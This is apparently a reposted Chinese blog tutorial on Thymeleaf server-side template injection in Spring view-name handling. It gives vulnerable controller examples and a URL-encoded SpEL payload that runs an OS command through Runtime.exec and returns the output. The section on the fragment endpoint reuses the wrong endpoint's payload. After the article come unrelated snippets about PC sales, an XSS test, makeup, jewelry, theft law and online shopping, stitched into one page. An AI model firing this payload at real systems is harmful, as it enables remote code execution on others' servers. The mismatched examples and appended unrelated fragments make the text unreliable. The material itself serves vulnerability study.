本文配合:https://github.com/veracode-research/spring-view-manipulation/食用更佳。
Thymeleaf 是与 java 配合使用的一款服务端模板引擎,也是 spring 官方支持的一款服务端模板引擎。他支持 HTML 原型,在 HTML 标签中增加额外的属性来达到模板 + 数据的展示方式。默认前缀:/templates/ ,默认后缀:.html 。
首先我们来熟悉一下这个漏洞发生的一些前期知识:
@GetMapping("/") public String index(Model model) { model.addAttribute("message", "happy birthday"); return "welcome"; }
<!DOCTYPE HTML> <html xmlns:th="http://www.thymeleaf.org"> <div th:fragment="header"> <h3>Spring Boot Web Thymeleaf Example</h3> </div> <div th:fragment="main"> <span th:text="'Hello, ' + ${message}"></span> </div> </html>
漏洞出现在 thymeleaf 的片段选择器中,关于片段选择器是什么,通过一个小例子就会知道。
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
4.1 首先看一下
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
这时将 lang 参数作为模块名解析的一部分。payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
执行命令并回显。
4.2 再看一下:
@GetMapping("/fragment") public String fragment(@RequestParam String section) { return "welcome :: " + section; //fragment is tainted }
这时是将 section 放在 selector 的位置。同样是上面的 payload :/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::
这时没有回显,状态也是 200 ,调试之后发现,前面模板名找不到会抛出一个异常,而这里是将我们的 section 放到 welcome :: 后面,而这时是找到的模板名,找不到 selector ,这时他不会抛出异常,只是没有内容显示了,但是命令还是会执行。
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
public String getViewName(HttpServletRequest request) { String lookupPath=this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH); return (this.prefix + transformPath(lookupPath) + this.suffix); }
文章来源:Medi0cr1ty,作者:medi0cr1ty
联想排名第一,苹果未进前三 7月12日,市场研究机构Gartner发布了2019年二季度个人电脑全球市场报告。根据Gartner的初步核算,二季度全球个人电脑出货量合计约6297万台,同比增长1.5...
先看看我的一次跨站测试吧 我以职业欠钱的站点做测试吧: Host:zhiyeqianqian.51web.cn MyTest: 先在他的论谈上传两张图, 图一的内容是: 得...
如果说眼妆是脸部妆容的重点,口红是包包里不可或缺的要件,那么,腮红就是修饰脸型、美化肤色的最佳工具,so,腮红是元气妆容非常关键的一个步骤哦! 腮红也是大多数妹子们化妆步骤中最容易忽视的一步...
桎梏:发展之失 设计,之于深圳珠宝业,历来是有如阿喀琉斯之踵般的存在。即使拥有25万从业者的惊人规模,贡献着全国市场份额70%以上的巨额产量,但占据产业前端的珠宝设计,却依然是阻碍深圳珠宝行业发...
我们知道,任何人都没有权利盗窃他人的私有财产,因为私有财产神圣不可侵犯,这是其一,其次盗窃罪,这也是我国法律严厉禁止的,不能够违反我国的相关法律。新疆鼎卓律师事务所石磊律师解析。 一、最新盗窃罪...
互连网时期的来临,坚信大伙儿都是有网上购物的历经。碰到难题,一般状况会第一时间寻找店家处理,好运气迅速就能商议处理,运气差很有可能便会危害到自身的权益。乃至有时还很无奈,为了更好地一点钱,告到消费...